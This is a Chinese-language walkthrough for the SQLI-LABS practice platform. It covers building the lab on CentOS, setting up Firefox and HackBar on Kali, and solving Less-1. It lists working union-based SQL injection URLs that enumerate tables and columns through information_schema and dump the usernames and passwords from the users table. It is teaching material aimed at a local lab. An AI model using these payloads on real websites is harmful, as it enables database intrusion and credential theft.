SQLI-LABS 是一个学习 SQL 注入的实验平台
下载地址:https://github.com/Audi-1/sqli-labs
在centos上搭建LAMP环境,并关闭防火墙和selinux。
安装完成之后开启Apache和mysql。
环境搭建比较简单,这里不再赘述。
在xhell中将压缩包上传至centos:
解压:
[root@localhost ~]# unzip sqli-labs-master.zip -d /var/www/html
改名字,这样便于我们访问:
[root@localhost ~]# mv /var/www/html/sqli-labs-master/ /var/www/html/sqli-labs
Apache服务默认运行的用户是apache,因此我们修改/var/www/html/目录下文件的所有者以使文件对apache用户可写:
[root@xuegod63 ~]# chown -R apache:apache /var/www/html/
注:-R:递归修改
[root@xuegod63 ~]# vim /var/www/html/sqli-labs/sql-connections/db-creds.inc
修改SQLI-LABS配置文件以连接数据库:
输入自己设置的用户名和密码即可(如果没有设置,默认无密码)。
:wq保存退出。
浏览器访问:http://192.168.1.119/sqli-labs/
点击安装数据库:
安装成功:
点击后退,到此环境搭建成功:
更新原因:Kali 中自带的 Firefox 安装插件存在一定的问题会导致插件安装失败。我们到官网下载新
版本的 Firefox。
卸载旧版本浏览器
root@kali:~# rm -rf /usr/lib/firefox-esr
root@kali:~# rm -rf /usr/lib/firefox-bin
root@kali:~# rm -rf /usr/lib/firefox
root@kali:~# rm -rf /usr/bin/firefox
下载最新版本 firefox
https://www.mozilla.org/zh-CN/firefox/new/
注:67版本的可用,如果你的版本高于67则不需要更新
上传压缩包到kali,解压:
root@kali:~# tar -jxvf firefox-67.0.4.tar.bz2 -C /usr/lib/ #解压 firefox 到 /usr/lib/目录下
创建软链接
root@xuegod53:~# ln -s /usr/lib/firefox/firefox /usr/bin/firefox
root@xuegod53:~# firefox & #运行火狐浏览器 &:后台运行
或:
创建快捷启动方式,新建文件添加以下内容
root@xuegod53:~# vim /usr/share/applications/firefox.desktop
[Desktop Entry]
Version=666
Name=firefox
Name[zh_CN]=firefox-浏览器
Exec=firefox
Terminal=false
Type=Application
Icon=firefox
:wq保存退出
这时候打开应用程序列表可以找到Firefox,并可以把它拖到收藏夹:
上传hackbar压缩包并解压:
root@kali:~# unzip hackbar2.1.3-master.zip
root@kali:~# ls hackbar2.1.3-master
{4c98c9c7-fc13-4622-b08a-a18923469c1c}.xpi img README.md
打开Firefox浏览器:
关闭自动更新:
按下F12,看到这个页面说明安装成功了:
在 kali 中打开 firefox 浏览器,并访问 http://192.168.1.119/sqli-labs/
打开less1:
打开hackbar,根据提示输入ID参数:
点击execute执行:
输入以下内容来爆出字段显示位置
http://192.168.1.119/sqli-labs/Less-1/?id=-1’ union select 1,2,3–+
在sql中单行注释有两种:
1、-- 后面必须有一个空格
2、#
因为在url中直接输入空格并不能传递到后端sql语句中,
其中,+在url中表示空格,因此可以使–有效注释掉后面的SQL语句。
或:–’使用单引号使sql中的’闭合
由于#在URL中有特殊含义,因此也可以使用#的URL编码,将–+替换成%23
Id=后面的所有内容被传送到后端,id=-1的时候,查询不到相应数据行,因此返回0行,用union使得查询到的内容仅为后面select返回的内容,select 1,2,3查询到的内容仅为1行:1 2 3
发现用户名和密码的字段分别是2和3
Database():数据库内置函数,可以获取当前数据库名称:
http://192.168.1.119/sqli-labs/Less-1/?id=-1’ union select 1,database(),3–’
Database()函数放到2所在的字段,因此显示在用户名的位置。
http://192.168.1.119/sqli-labs/Less-1/?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()–+
Group_concat:将多个字段连接成一个字段
information_schema:MySQL自带的数据库,提供了访问数据库元数据的方式。元数据就是关于数据的数据,如数据库名或表名,列的数据类型和访问权限等。
查看information_schema中的数据表:
tables是information_schema的一个数据表,其中包含的字段有:
查询到了 4 个表名称分别是:emails,referers,uagents,users
http://192.168.1.119/sqli-labs/Less-1/?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘users’ --+
columns表:给出了数据库中的数据表列信息
http://192.168.1.119/sqli-labs/Less-1/?id=-1’ union select 1,group_concat(0x3c,0x62,0x72,0x3e,username,0x3a,password),3 from users–+
0x3c,0x62,0x72,0x3e表示< br >,在html中用于换行。
0x3a表示冒号。